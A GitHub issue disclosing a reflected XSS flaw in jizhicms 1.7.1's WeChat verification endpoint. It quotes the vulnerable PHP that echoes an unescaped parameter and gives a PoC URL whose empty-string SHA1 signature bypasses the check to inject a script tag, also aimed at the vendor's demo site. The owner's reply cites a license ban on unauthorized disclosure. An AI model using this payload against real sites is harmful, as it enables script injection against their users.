New issue

Jump to bottom

XSS vulnerability jizhicms v1.7.1 Wechat reflected xss vulnerability #29

Closed mtfly opened this issue on Jun 15, 2020 · 1 comment

mtfly commented on Jun 15, 2020

A xss vulnerability was discovered in jizhicms 1.7.1

There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the msg parameter of /index.php/Wechat/checkWeixin?signature=1&echostr=1

Vulnerability file: `Home/c/WechatController.php`

```
	public function index(){
		if (isset($_GET['echostr'])){
			$this->checkWeixin();
		}else{
			$this->responseMsg();
		}
	}


	//验证微信公众号
	public function checkWeixin(){
		//微信会发送4个参数到我们的服务器后台 签名 时间戳 随机字符串 随机数

			$signature = $_GET["signature"];
			$timestamp = $_GET["timestamp"];
			$nonce = $_GET["nonce"];
			$echostr = $_GET["echostr"];
			$token = $this->webconf['wx_login_token'];

			// 1) 将token、timestamp、nonce三个参数进行字典序排序
			$tmpArr = array($nonce,$token,$timestamp);
			sort($tmpArr,SORT_STRING);

			// 2) 将三个参数字符串拼接成一个字符串进行sha1加密
			$str = implode($tmpArr);
			$sign = sha1($str);

			// 3) 开发者获得加密后的字符串可与signature对比，标识该请求来源于微信
			if ($sign == $signature) {
				echo $echostr;
			}
	}
```

PoC:

```
http://example.com/index.php/Wechat/checkWeixin?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709&echostr=<script>alert(1)</script>
```

demo.jizhicms.cn//index.php/Wechat/checkWeixin?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709&echostr=<script>alert(1)</script>

Cherry-toto commented on Jun 15, 2020 Owner

首先，请您阅读安装时的使用协议！
如果你没有注意，我下面给你列举出来：

> II. 义务
> 本软件为开源软件，您可以在遵循本授权协议的基础上使用此版本软件。
> 不得对本软件或与之关联的商业授权进行出租、出售、抵押。
> 不得利用本软件参与重大国际、国家等重点项目，发生一切安全、产权、事故等纠纷均由使用者承担。
> 禁止在 极致CMS 的整体或任何部分基础上以发展任何衍生版本、修改版本或第三方版本用于重新分发。
> 禁止使用者在未经官方允许的情况下发布 极致CMS 相关安全漏洞信息，取得官方授权并在官方修复漏洞后，可发布相关漏洞信息。

其次，此XSS不会造成任何影响。

Cherry-toto closed this as completed on Jun 15, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants